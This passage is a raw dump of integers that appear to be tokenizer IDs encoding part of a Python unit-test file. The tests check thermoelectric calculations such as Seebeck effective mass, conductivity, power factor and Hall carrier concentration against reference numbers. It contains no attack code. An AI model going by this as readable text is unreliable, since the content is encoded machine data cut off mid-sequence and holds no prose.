2161, 29918, 1272, 29889, 12181, 29892, 313, 29896, 29906, 29896, 29892, 29871, 29896, 29906, 29896, 29892, 29871, 29953, 29945, 876, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29918, 571, 2460, 29889, 571, 2460, 29918, 7610, 2161, 29918, 1272, 29961, 29906, 29896, 3816, 29955, 29929, 3816, 29896, 29929, 1402, 448, 29896, 29889, 29947, 29947, 29941, 29896, 29929, 29896, 29896, 29947, 29900, 29929, 29946, 29941, 29929, 29896, 29953, 29896, 29892, 29871, 29945, 29897, 13, 13, 1678, 732, 348, 27958, 29889, 11014, 3644, 29898, 1333, 285, 29881, 524, 29892, 376, 3782, 383, 29928, 10192, 1159, 13, 1678, 822, 1243, 29918, 657, 29918, 344, 774, 29872, 384, 29918, 12352, 29918, 25379, 29898, 1311, 1125, 13, 4706, 2143, 353, 518, 29896, 29889, 29929, 29945, 29953, 29900, 29929, 29900, 29945, 29906, 29929, 29941, 29947, 29896, 29896, 29929, 29941, 29892, 29871, 29906, 29889, 29900, 29941, 29941, 29929, 29941, 29896, 29896, 29953, 29896, 29947, 29945, 29953, 29953, 29941, 29946, 29941, 29892, 29871, 29896, 29889, 29896, 29945, 29906, 29929, 29941, 29947, 29941, 29955, 29945, 29955, 29947, 29929, 29953, 29929, 29953, 29945, 29962, 13, 4706, 2143, 29906, 353, 518, 29946, 29906, 29945, 29947, 29889, 29946, 29900, 29955, 29906, 29947, 29906, 29941, 29941, 29945, 29946, 29896, 29946, 29945, 29892, 29871, 29946, 29945, 29929, 29955, 29889, 29900, 29941, 29945, 29896, 29947, 29947, 29955, 29896, 29906, 29945, 29906, 29947, 29929, 29892, 29871, 29946, 29906, 29941, 29947, 29889, 29896, 29906, 29953, 29906, 29953, 29929, 29953, 29941, 29929, 29906, 29955, 29900, 29945, 29962, 13, 4706, 17444, 29895, 29918, 25379, 29918, 29873, 575, 29918, 2589, 353, 1583, 29889, 29890, 29920, 29889, 657, 29918, 344, 774, 29872, 384, 29918, 12352, 29918, 25379, 29898, 4905, 543, 20158, 613, 437, 15702, 29918, 5563, 29879, 29922, 8824, 29892, 5694, 29922, 29941, 29900, 29900, 9601, 29941, 29962, 13, 4706, 17444, 29895, 29918, 25379, 29918, 29873, 575, 29918, 29881, 459, 353, 1583, 29889, 29890, 29920, 29889, 657, 29918, 344, 774, 29872, 384, 29918, 12352, 29918, 25379, 29898, 4905, 543, 20158, 613, 437, 15702, 29918, 5563, 29879, 29922, 5574, 29892, 5694, 29922, 29941, 29900, 29900, 29897, 3366, 29876, 3108, 29961, 29906, 29962, 13, 4706, 17444, 29895, 29918, 25379, 29918, 485, 29887, 29918, 2589, 353, 1583, 29889, 29890, 29920, 29889, 657, 29918, 344, 774, 29872, 384, 29918, 12352, 29918, 25379, 29898, 4905, 543, 12483, 482, 613, 437, 15702, 29918, 5563, 29879, 29922, 8824, 29892, 5694, 29922, 29941, 29900, 29900, 9601, 29941, 29962, 13, 4706, 17444, 29895, 29918, 25379, 29918, 485, 29887, 29918, 29881, 459, 353, 1583, 29889, 29890, 29920, 29889, 657, 29918, 344, 774, 29872, 384, 29918, 12352, 29918, 25379, 29898, 4905, 543, 12483, 482, 613, 437, 15702, 29918, 5563, 29879, 29922, 5574, 29892, 5694, 29922, 29941, 29900, 29900, 29897, 3366, 29876, 3108, 29961, 29906, 29962, 13, 13, 4706, 363, 474, 297, 3464, 29898, 29900, 29892, 29871, 29941, 1125, 13, 9651, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 20778, 29895, 29918, 25379, 29918, 29873, 575, 29918, 2589, 29961, 29875, 1402, 2143, 29906, 29961, 29875, 1402, 29871, 29896, 29897, 13, 9651, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 20778, 29895, 29918, 25379, 29918, 29873, 575, 29918, 29881, 459, 29961, 29875, 1402, 2143, 29961, 29875, 1402, 29871, 29946, 29897, 13, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 20778, 29895, 29918, 25379, 29918, 485, 29887, 29918, 2589, 29892, 29871, 29946, 29941, 29953, 29896, 29889, 29946, 29955, 29946, 29946, 29900, 29900, 29947, 29900, 29941, 29947, 29947, 29946, 29906, 29892, 29871, 29896, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 20778, 29895, 29918, 25379, 29918, 485, 29887, 29918, 29881, 459, 29892, 29871, 29896, 29889, 29953, 29953, 29896, 29945, 29945, 29941, 29947, 29946, 29906, 29896, 29900, 29945, 29941, 29947, 29906, 29892, 29871, 29946, 29897, 13, 13, 1678, 732, 348, 27958, 29889, 11014, 3644, 29898, 1333, 285, 29881, 524, 29892, 376, 3782, 383, 29928, 10192, 1159, 13, 1678, 822, 1243, 29918, 657, 29918, 19676, 537, 29918, 19790, 29898, 1311, 1125, 13, 4706, 2143, 353, 518, 29906, 29889, 29955, 29953, 29945, 29947, 29955, 29955, 29953, 29947, 29896, 29945, 29906, 29906, 29955, 29947, 29906, 29947, 29892, 29871, 29906, 29889, 29929, 29947, 29906, 29953, 29900, 29947, 29947, 29906, 29896, 29945, 29945, 29953, 29947, 29946, 29900, 29941, 29892, 29871, 29900, 29889, 29906, 29947, 29947, 29947, 29896, 29941, 29941, 29945, 29947, 29947, 29896, 29953, 29946, 29900, 29941, 29900, 29947, 29962, 13, 4706, 2143, 29906, 353, 518, 29900, 29889, 29900, 29896, 29896, 29906, 29900, 29906, 29906, 29900, 29946, 29947, 29953, 29906, 29900, 29906, 29900, 29945, 29892, 29871, 29900, 29889, 29900, 29900, 29941, 29953, 29900, 29900, 29896, 29900, 29946, 29929, 29953, 29900, 29955, 29896, 29947, 29953, 29953, 29900, 29906, 29892, 29871, 29900, 29889, 29900, 29900, 29947, 29941, 29900, 29906, 29947, 29929, 29946, 29955, 29896, 29955, 29941, 29896, 29929, 29941, 29900, 29906, 29947, 29962, 13, 4706, 17444, 29895, 29918, 25379, 29918, 29873, 575, 29918, 2589, 353, 1583, 29889, 29890, 29920, 29889, 657, 29918, 19676, 537, 29918, 19790, 29898, 4905, 543, 20158, 613, 437, 15702, 29918, 5563, 29879, 29922, 8824, 29892, 5694, 29922, 29941, 29900, 29900, 9601, 29941, 29962, 13, 4706, 17444, 29895, 29918, 25379, 29918, 29873, 575, 29918, 29881, 459, 353, 1583, 29889, 29890, 29920, 29889, 657, 29918, 19676, 537, 29918, 19790, 29898, 4905, 543, 20158, 613, 437, 15702, 29918, 5563, 29879, 29922, 5574, 29892, 5694, 29922, 29941, 29900, 29900, 29897, 3366, 29876, 3108, 29961, 29906, 29962, 13, 4706, 17444, 29895, 29918, 25379, 29918, 485, 29887, 29918, 2589, 353, 1583, 29889, 29890, 29920, 29889, 657, 29918, 19676, 537, 29918, 19790, 29898, 4905, 543, 12483, 482, 613, 437, 15702, 29918, 5563, 29879, 29922, 8824, 29892, 5694, 29922, 29941, 29900, 29900, 9601, 29941, 29962, 13, 4706, 17444, 29895, 29918, 25379, 29918, 485, 29887, 29918, 29881, 459, 353, 1583, 29889, 29890, 29920, 29889, 657, 29918, 19676, 537, 29918, 19790, 29898, 4905, 543, 12483, 482, 613, 437, 15702, 29918, 5563, 29879, 29922, 5574, 29892, 5694, 29922, 29941, 29900, 29900, 29897, 3366, 29876, 3108, 29961, 29906, 29962, 13, 13, 4706, 363, 474, 297, 3464, 29898, 29900, 29892, 29871, 29941, 1125, 13, 9651, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 20778, 29895, 29918, 25379, 29918, 29873, 575, 29918, 2589, 29961, 29875, 1402, 2143, 29906, 29961, 29875, 1402, 29871, 29946, 29897, 13, 9651, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 20778, 29895, 29918, 25379, 29918, 29873, 575, 29918, 29881, 459, 29961, 29875, 1402, 2143, 29961, 29875, 1402, 29871, 29946, 29897, 13, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 20778, 29895, 29918, 25379, 29918, 485, 29887, 29918, 2589, 29892, 29871, 29900, 29889, 29900, 29900, 29953, 29906, 29947, 29953, 29955, 29955, 29900, 29906, 29929, 29906, 29906, 29896, 29892, 29871, 29946, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 20778, 29895, 29918, 25379, 29918, 485, 29887, 29918, 29881, 459, 29892, 29871, 29896, 29889, 29896, 29906, 29941, 29906, 29906, 29947, 29941, 29906, 29896, 29896, 29929, 29892, 29871, 29946, 29897, 13, 13, 1678, 822, 1243, 29918, 657, 29918, 344, 774, 29872, 384, 29898, 1311, 1125, 13, 4706, 2143, 353, 21069, 29955, 29953, 29947, 29889, 29929, 29929, 29900, 29955, 29947, 29929, 29929, 29929, 29929, 29929, 29929, 29929, 29929, 29945, 29892, 448, 29955, 29906, 29946, 29889, 29946, 29941, 29929, 29896, 29929, 29929, 29929, 29929, 29929, 29929, 29929, 29929, 29929, 29896, 29892, 448, 29953, 29947, 29953, 29889, 29947, 29946, 29953, 29947, 29906, 29929, 29929, 29929, 29929, 29929, 29929, 29929, 29955, 29941, 29962, 13, 4706, 363, 474, 297, 3464, 29898, 29900, 29892, 29871, 29941, 1125, 13, 9651, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29889, 657, 29918, 344, 774, 29872, 384, 580, 3366, 29876, 3108, 29961, 29947, 29900, 29900, 3816, 29941, 3816, 29875, 1402, 2143, 29961, 29875, 2314, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29889, 657, 29918, 344, 774, 29872, 384, 29898, 4905, 543, 12483, 482, 1159, 3366, 29886, 3108, 29961, 29947, 29900, 29900, 3816, 29941, 1402, 29871, 29953, 29929, 29955, 29889, 29953, 29900, 29947, 29929, 29941, 29953, 29953, 29953, 29955, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 13, 9651, 1583, 29889, 29890, 29920, 29889, 657, 29918, 344, 774, 29872, 384, 29898, 4905, 543, 12483, 482, 613, 437, 15702, 29918, 5563, 29879, 29922, 8824, 9601, 29945, 29900, 29900, 3816, 29945, 29906, 29900, 1402, 13, 632, 29896, 29906, 29953, 29953, 29889, 29955, 29900, 29945, 29953, 29892, 13, 4706, 1723, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 13, 9651, 1583, 29889, 29890, 29920, 29889, 657, 29918, 344, 774, 29872, 384, 29898, 4905, 543, 12483, 482, 613, 437, 15702, 29918, 5563, 29879, 29922, 8824, 9601, 29941, 29900, 29900, 3816, 29953, 29945, 1402, 13, 9651, 448, 29941, 29953, 29889, 29906, 29946, 29945, 29929, 29941, 29947, 29929, 29941, 29941, 29941, 29892, 13, 4706, 1723, 29871, 396, 14402, 29901, 445, 471, 10437, 376, 29872, 23379, 29908, 13, 13, 1678, 822, 1243, 29918, 657, 29918, 535, 2199, 2068, 29898, 1311, 1125, 13, 4706, 2143, 353, 518, 29945, 29889, 29929, 29900, 29946, 29941, 29896, 29947, 29945, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29906, 29906, 29892, 29871, 29896, 29955, 29889, 29947, 29945, 29945, 29945, 29929, 29929, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29906, 29892, 29871, 29906, 29953, 29889, 29946, 29953, 29906, 29929, 29941, 29945, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29906, 29962, 13, 4706, 363, 474, 297, 3464, 29898, 29900, 29892, 29871, 29941, 1125, 13, 9651, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29889, 657, 29918, 535, 2199, 2068, 580, 3366, 29886, 3108, 29961, 29953, 29900, 29900, 3816, 29906, 3816, 29875, 1402, 2143, 29961, 29875, 2314, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29889, 657, 29918, 535, 2199, 2068, 29898, 4905, 543, 12483, 482, 1159, 3366, 29876, 3108, 29961, 29955, 29900, 29900, 3816, 29896, 1402, 29871, 29896, 29889, 29945, 29947, 29955, 29941, 29953, 29953, 29900, 29929, 29953, 29953, 29955, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 13, 9651, 1583, 29889, 29890, 29920, 29889, 657, 29918, 535, 2199, 2068, 29898, 4905, 543, 12483, 482, 613, 437, 15702, 29918, 5563, 29879, 29922, 8824, 9601, 29941, 29900, 29900, 3816, 29946, 29945, 29955, 1402, 13, 632, 29906, 29889, 29947, 29955, 29896, 29953, 29941, 29945, 29953, 29953, 29953, 29953, 29955, 29892, 13, 4706, 1723, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 13, 9651, 1583, 29889, 29890, 29920, 29889, 657, 29918, 535, 2199, 2068, 29898, 13, 18884, 1962, 543, 12483, 482, 613, 13, 18884, 437, 15702, 29918, 5563, 29879, 29922, 8824, 29892, 13, 18884, 396, 14402, 29901, 445, 471, 10437, 376, 29872, 23379, 29908, 13, 18884, 26681, 362, 29918, 2230, 29922, 29896, 29872, 29899, 29896, 29945, 29892, 13, 9651, 1723, 29961, 29906, 29900, 29900, 3816, 29953, 29941, 1402, 13, 632, 29896, 29953, 29945, 29955, 29941, 29889, 29900, 29945, 29941, 29953, 29953, 29953, 29955, 29892, 13, 4706, 1723, 13, 13, 1678, 822, 1243, 29918, 657, 29918, 13519, 29918, 19790, 29898, 1311, 1125, 13, 4706, 2143, 353, 518, 29953, 29889, 29906, 29955, 29941, 29953, 29953, 29900, 29906, 29941, 29946, 29945, 29945, 29906, 29941, 29941, 29953, 29906, 29892, 29871, 29896, 29955, 29889, 29929, 29900, 29900, 29896, 29947, 29946, 29906, 29941, 29906, 29941, 29900, 29946, 29896, 29941, 29947, 29892, 29871, 29906, 29953, 29889, 29896, 29945, 29947, 29906, 29947, 29906, 29906, 29906, 29900, 29946, 29945, 29947, 29896, 29946, 29946, 29962, 13, 4706, 363, 474, 297, 3464, 29898, 29900, 29892, 29871, 29941, 1125, 13, 9651, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29889, 657, 29918, 13519, 29918, 19790, 580, 3366, 29886, 3108, 29961, 29906, 29900, 29900, 3816, 29906, 3816, 29875, 1402, 2143, 29961, 29875, 2314, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29889, 657, 29918, 13519, 29918, 19790, 29898, 4905, 543, 12483, 482, 1159, 3366, 29876, 3108, 29961, 29953, 29900, 29900, 3816, 29946, 1402, 29871, 29946, 29896, 29896, 29889, 29906, 29941, 29900, 29929, 29953, 29906, 29929, 29955, 29953, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 13, 9651, 1583, 29889, 29890, 29920, 29889, 657, 29918, 13519, 29918, 19790, 29898, 4905, 543, 12483, 482, 613, 437, 15702, 29918, 5563, 29879, 29922, 8824, 29892, 26681, 362, 29918, 2230, 29922, 29896, 29872, 29899, 29896, 29945, 9601, 29945, 29900, 29900, 3816, 29946, 29945, 29929, 1402, 13, 632, 29953, 29889, 29945, 29929, 29906, 29955, 29955, 29896, 29946, 29947, 29946, 29953, 29955, 29892, 13, 4706, 1723, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 13, 9651, 1583, 29889, 29890, 29920, 29889, 657, 29918, 13519, 29918, 19790, 29898, 4905, 543, 12483, 482, 613, 437, 15702, 29918, 5563, 29879, 29922, 8824, 9601, 29947, 29900, 29900, 3816, 29953, 29896, 1402, 13, 632, 29906, 29900, 29906, 29906, 29889, 29953, 29955, 29900, 29953, 29946, 29896, 29941, 29946, 29892, 13, 4706, 1723, 29871, 396, 14402, 29901, 445, 471, 10437, 376, 29872, 23379, 29908, 13, 13, 1678, 822, 1243, 29918, 657, 29918, 721, 5156, 29918, 535, 2199, 2068, 29898, 1311, 1125, 13, 4706, 2143, 353, 518, 29906, 29889, 29955, 29955, 29896, 29929, 29945, 29953, 29945, 29953, 29906, 29947, 29947, 29953, 29906, 29953, 29906, 29941, 29872, 29899, 29900, 29945, 29892, 29871, 29900, 29889, 29900, 29900, 29900, 29896, 29900, 29900, 29946, 29947, 29900, 29946, 29953, 29947, 29947, 29953, 29955, 29929, 29941, 29929, 29946, 29953, 29892, 29871, 29900, 29889, 29900, 29900, 29900, 29896, 29945, 29947, 29955, 29946, 29945, 29946, 29929, 29941, 29929, 29906, 29946, 29929, 29929, 29941, 29929, 29896, 29962, 13, 4706, 363, 474, 297, 3464, 29898, 29900, 29892, 29871, 29941, 1125, 13, 9651, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29889, 657, 29918, 721, 5156, 29918, 535, 2199, 2068, 580, 3366, 29886, 3108, 29961, 29941, 29900, 29900, 3816, 29906, 3816, 29875, 1402, 2143, 29961, 29875, 2314, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 13, 9651, 1583, 29889, 29890, 29920, 29889, 657, 29918, 721, 5156, 29918, 535, 2199, 2068, 29898, 4905, 543, 12483, 482, 613, 26681, 362, 29918, 2230, 29922, 29896, 29872, 29899, 29896, 29945, 29897, 3366, 29876, 3108, 29961, 29945, 29900, 29900, 3816, 29900, 1402, 13, 632, 29896, 29889, 29955, 29946, 29946, 29953, 29953, 29945, 29955, 29945, 29953, 29896, 29906, 29872, 29899, 29900, 29955, 29892, 13, 4706, 1723, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 13, 9651, 1583, 29889, 29890, 29920, 29889, 657, 29918, 721, 5156, 29918, 535, 2199, 2068, 29898, 4905, 543, 12483, 482, 613, 437, 15702, 29918, 5563, 29879, 29922, 8824, 9601, 29947, 29900, 29900, 3816, 29947, 29955, 29946, 1402, 13, 632, 29947, 29889, 29900, 29947, 29900, 29953, 29953, 29906, 29945, 29946, 29947, 29896, 29941, 29892, 13, 4706, 1723, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 13, 9651, 1583, 29889, 29890, 29920, 29889, 657, 29918, 721, 5156, 29918, 535, 2199, 2068, 29898, 4905, 543, 12483, 482, 613, 437, 15702, 29918, 5563, 29879, 29922, 8824, 9601, 29906, 29900, 29900, 3816, 29941, 29906, 1402, 13, 9651, 396, 14402, 29901, 445, 471, 10437, 376, 29872, 23379, 29908, 13, 632, 29900, 29889, 29900, 29955, 29941, 29947, 29929, 29953, 29896, 29947, 29946, 29945, 29947, 29941, 29906, 29892, 13, 4706, 1723, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 13, 9651, 1583, 29889, 29890, 29920, 29889, 657, 29918, 721, 5156, 29918, 535, 2199, 2068, 29898, 29895, 29918, 295, 29922, 8824, 29892, 1962, 543, 12483, 482, 613, 437, 15702, 29918, 5563, 29879, 29922, 8824, 9601, 29906, 29900, 29900, 3816, 29941, 29906, 1402, 13, 632, 29900, 29889, 29896, 29929, 29946, 29906, 29929, 29900, 29945, 29906, 29892, 13, 4706, 1723, 13, 13, 1678, 822, 1243, 29918, 657, 29918, 2065, 29898, 1311, 1125, 13, 4706, 2143, 353, 518, 29900, 29889, 29900, 29929, 29955, 29946, 29900, 29947, 29947, 29896, 29900, 29906, 29896, 29945, 29892, 29871, 29900, 29889, 29906, 29929, 29941, 29941, 29945, 29896, 29896, 29906, 29941, 29945, 29946, 29892, 29871, 29900, 29889, 29953, 29896, 29946, 29953, 29955, 29941, 29929, 29929, 29947, 29900, 29947, 29929, 29962, 13, 4706, 363, 474, 297, 3464, 29898, 29900, 29892, 29871, 29941, 1125, 13, 9651, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29889, 657, 29918, 2065, 580, 3366, 29876, 3108, 29961, 29947, 29900, 29900, 3816, 29946, 3816, 29875, 1402, 2143, 29961, 29875, 2314, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29889, 657, 29918, 2065, 29898, 4905, 543, 12483, 482, 613, 9489, 29922, 29900, 29889, 29945, 29897, 3366, 29886, 3108, 29961, 29955, 29900, 29900, 3816, 29906, 1402, 29871, 29900, 29889, 29900, 29896, 29955, 29900, 29900, 29900, 29896, 29947, 29955, 29929, 29929, 29896, 29953, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 13, 9651, 1583, 29889, 29890, 29920, 29889, 657, 29918, 2065, 29898, 4905, 543, 12483, 482, 613, 437, 15702, 29918, 5563, 29879, 29922, 8824, 29892, 26681, 362, 29918, 2230, 29922, 29896, 29872, 29899, 29896, 29945, 9601, 29941, 29900, 29900, 3816, 29906, 29946, 29900, 1402, 13, 632, 29900, 29889, 29900, 29900, 29946, 29896, 29929, 29906, 29941, 29945, 29941, 29941, 29906, 29941, 29947, 29941, 29946, 29947, 29941, 29946, 29906, 29892, 13, 4706, 1723, 13, 13, 4706, 15761, 29879, 353, 1583, 29889, 29890, 29920, 29889, 657, 29918, 2065, 29898, 4905, 543, 29872, 23379, 613, 437, 15702, 29918, 5563, 29879, 29922, 8824, 9601, 29955, 29900, 29900, 3816, 29953, 29945, 29962, 13, 4706, 2143, 29918, 29872, 23379, 353, 518, 29900, 29889, 29900, 29947, 29906, 29946, 29906, 29900, 29900, 29945, 29941, 29941, 29929, 29929, 29953, 29953, 29947, 29947, 29946, 29955, 29892, 29871, 29900, 29889, 29906, 29929, 29946, 29900, 29947, 29900, 29941, 29945, 29945, 29900, 29906, 29953, 29955, 29896, 29953, 29946, 29947, 29892, 29871, 29900, 29889, 29946, 29900, 29947, 29906, 29906, 29900, 29953, 29896, 29906, 29896, 29945, 29900, 29955, 29929, 29941, 29929, 29906, 29962, 13, 4706, 363, 22645, 29892, 659, 297, 26985, 29898, 999, 29918, 29872, 23379, 1125, 13, 9651, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 29872, 23379, 29961, 13140, 1402, 659, 29892, 29871, 29945, 29897, 13, 13, 1678, 822, 1243, 29918, 657, 29918, 12483, 482, 29918, 12352, 29918, 25379, 29898, 1311, 1125, 13, 4706, 2143, 353, 518, 29900, 29889, 29955, 29953, 29900, 29946, 29945, 29947, 29896, 29953, 29955, 29947, 29947, 29941, 29953, 29941, 29945, 29955, 29946, 29892, 29871, 29900, 29889, 29929, 29953, 29896, 29947, 29896, 29896, 29946, 29906, 29929, 29929, 29900, 29953, 29953, 29955, 29896, 29900, 29896, 29892, 29871, 29906, 29889, 29929, 29946, 29906, 29947, 29946, 29906, 29947, 29955, 29955, 29941, 29941, 29900, 29947, 29953, 29906, 29947, 29962, 13, 4706, 363, 474, 297, 3464, 29898, 29900, 29892, 29871, 29941, 1125, 13, 9651, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29889, 657, 29918, 12483, 482, 29918, 12352, 29918, 25379, 580, 3366, 29886, 3108, 29961, 29941, 29900, 29900, 3816, 29906, 3816, 29875, 1402, 2143, 29961, 29875, 2314, 13, 4706, 2143, 353, 518, 29896, 29889, 29896, 29906, 29929, 29945, 29955, 29947, 29941, 29947, 29906, 29946, 29955, 29946, 29946, 29945, 29906, 29941, 29892, 29871, 29896, 29889, 29941, 29947, 29929, 29947, 29946, 29945, 29946, 29900, 29946, 29896, 29929, 29906, 29946, 29941, 29945, 29896, 29892, 29871, 29945, 29889, 29906, 29946, 29945, 29929, 29929, 29947, 29946, 29953, 29955, 29896, 29929, 29955, 29955, 29929, 29941, 29945, 29962, 13, 4706, 2143, 29906, 353, 518, 29953, 29889, 29953, 29953, 29946, 29947, 29947, 29946, 29906, 29955, 29896, 29906, 29953, 29929, 29906, 29900, 29955, 29947, 29892, 29871, 29941, 29896, 29889, 29946, 29929, 29906, 29945, 29946, 29900, 29896, 29900, 29945, 29955, 29941, 29947, 29941, 29946, 29941, 29892, 29871, 29941, 29955, 29889, 29929, 29947, 29953, 29941, 29953, 29929, 29941, 29900, 29906, 29896, 29941, 29947, 29929, 29945, 29946, 29962, 13, 4706, 363, 474, 297, 3464, 29898, 29900, 29892, 29871, 29941, 1125, 13, 9651, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29889, 657, 29918, 12483, 482, 29918, 12352, 29918, 25379, 580, 3366, 29876, 3108, 29961, 29953, 29900, 29900, 3816, 29896, 3816, 29875, 1402, 2143, 29961, 29875, 2314, 13, 9651, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29889, 657, 29918, 12483, 482, 29918, 12352, 29918, 25379, 29898, 29881, 459, 292, 29918, 5563, 29879, 29922, 8824, 9601, 29941, 29900, 29900, 3816, 29906, 29900, 29900, 3816, 29875, 1402, 2143, 29906, 29961, 29875, 2314, 13, 4706, 2143, 353, 518, 13, 9651, 518, 29929, 29889, 29953, 29896, 29947, 29896, 29896, 29946, 29941, 29900, 29872, 29899, 29900, 29896, 29892, 448, 29947, 29889, 29906, 29945, 29896, 29945, 29929, 29945, 29929, 29953, 29872, 29899, 29896, 29929, 29892, 448, 29946, 29889, 29955, 29900, 29941, 29896, 29929, 29946, 29946, 29946, 29872, 29899, 29896, 29929, 1402, 13, 9651, 21069, 29947, 29889, 29906, 29945, 29896, 29945, 29929, 29945, 29929, 29953, 29872, 29899, 29896, 29929, 29892, 29871, 29906, 29889, 29929, 29946, 29906, 29947, 29946, 29906, 29947, 29947, 29872, 29900, 29900, 29892, 29871, 29941, 29889, 29900, 29900, 29941, 29953, 29947, 29929, 29896, 29953, 29872, 29899, 29896, 29947, 1402, 13, 9651, 21069, 29946, 29889, 29955, 29900, 29941, 29896, 29929, 29946, 29946, 29946, 29872, 29899, 29896, 29929, 29892, 29871, 29941, 29889, 29900, 29900, 29941, 29953, 29947, 29929, 29896, 29953, 29872, 29899, 29896, 29947, 29892, 29871, 29955, 29889, 29953, 29900, 29946, 29945, 29947, 29896, 29953, 29947, 29872, 29899, 29900, 29896, 1402, 13, 4706, 4514, 13, 4706, 2143, 29906, 353, 518, 13, 9651, 518, 29906, 29955, 29889, 29929, 29955, 29953, 29900, 29946, 29946, 29946, 29946, 29906, 29953, 29929, 29896, 29945, 29941, 29892, 448, 29906, 29889, 29941, 29929, 29941, 29946, 29955, 29945, 29947, 29929, 29872, 29899, 29896, 29955, 29892, 448, 29896, 29889, 29941, 29953, 29947, 29929, 29955, 29896, 29946, 29900, 29872, 29899, 29896, 29955, 1402, 13, 9651, 21069, 29906, 29889, 29941, 29929, 29941, 29946, 29955, 29945, 29947, 29929, 29872, 29899, 29896, 29955, 29892, 29871, 29947, 29889, 29945, 29945, 29929, 29953, 29929, 29900, 29929, 29955, 29872, 29900, 29896, 29892, 29871, 29947, 29889, 29955, 29946, 29896, 29953, 29929, 29953, 29946, 29947, 29872, 29899, 29896, 29955, 1402, 13, 9651, 21069, 29896, 29889, 29941, 29953, 29947, 29929, 29955, 29896, 29946, 29900, 29872, 29899, 29896, 29955, 29892, 29871, 29947, 29889, 29955, 29946, 29896, 29953, 29929, 29953, 29946, 29947, 29872, 29899, 29896, 29955, 29892, 29871, 29906, 29889, 29906, 29896, 29896, 29945, 29896, 29929, 29947, 29900, 29872, 29900, 29896, 1402, 13, 4706, 4514, 13, 13, 4706, 363, 474, 297, 3464, 29898, 29900, 29892, 29871, 29941, 1125, 13, 9651, 363, 432, 297, 3464, 29898, 29900, 29892, 29871, 29941, 1125, 13, 18884, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 13, 462, 1678, 1583, 29889, 29890, 29920, 29889, 657, 29918, 12483, 482, 29918, 12352, 29918, 25379, 29898, 4905, 543, 20158, 1159, 3366, 29886, 3108, 29961, 29941, 29900, 29900, 3816, 29906, 3816, 29875, 3816, 29926, 1402, 13, 462, 1678, 2143, 29961, 29875, 3816, 29926, 1402, 13, 462, 268, 29946, 29892, 13, 18884, 1723, 13, 18884, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 13, 462, 1678, 1583, 29889, 29890, 29920, 29889, 657, 29918, 12483, 482, 29918, 12352, 29918, 25379, 29898, 4905, 543, 20158, 613, 437, 15702, 29918, 5563, 29879, 29922, 8824, 9601, 29941, 29900, 29900, 3816, 29945, 29900, 29900, 3816, 29875, 3816, 29926, 1402, 13, 462, 1678, 2143, 29906, 29961, 29875, 3816, 29926, 1402, 13, 462, 268, 29946, 29892, 13, 18884, 1723, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 13, 9651, 1583, 29889, 29890, 29920, 29889, 657, 29918, 12483, 482, 29918, 12352, 29918, 25379, 29898, 4905, 543, 12483, 482, 1159, 3366, 29876, 3108, 29961, 29941, 29900, 29900, 3816, 29906, 1402, 13, 632, 29896, 29889, 29945, 29941, 29955, 29953, 29929, 29900, 29929, 29941, 29929, 29947, 29929, 29892, 13, 632, 29946, 29892, 13, 4706, 1723, 13, 13, 1678, 822, 1243, 29918, 657, 29918, 4287, 4336, 29918, 535, 1760, 29878, 362, 29898, 1311, 1125, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29889, 657, 29918, 4287, 4336, 29918, 535, 1760, 29878, 362, 580, 29961, 29941, 29900, 29900, 3816, 29941, 29929, 29962, 847, 29871, 29896, 29872, 29906, 29906, 29892, 29871, 29953, 29889, 29946, 29947, 29900, 29945, 29896, 29945, 29953, 29953, 29896, 29955, 29896, 29955, 29929, 29896, 29945, 29896, 29892, 29871, 29946, 29897, 13, 4706, 1583, 29889, 9294, 2499, 3242, 9843, 29898, 1311, 29889, 29890, 29920, 29889, 657, 29918, 4287, 4336, 29918, 535, 1760, 29878, 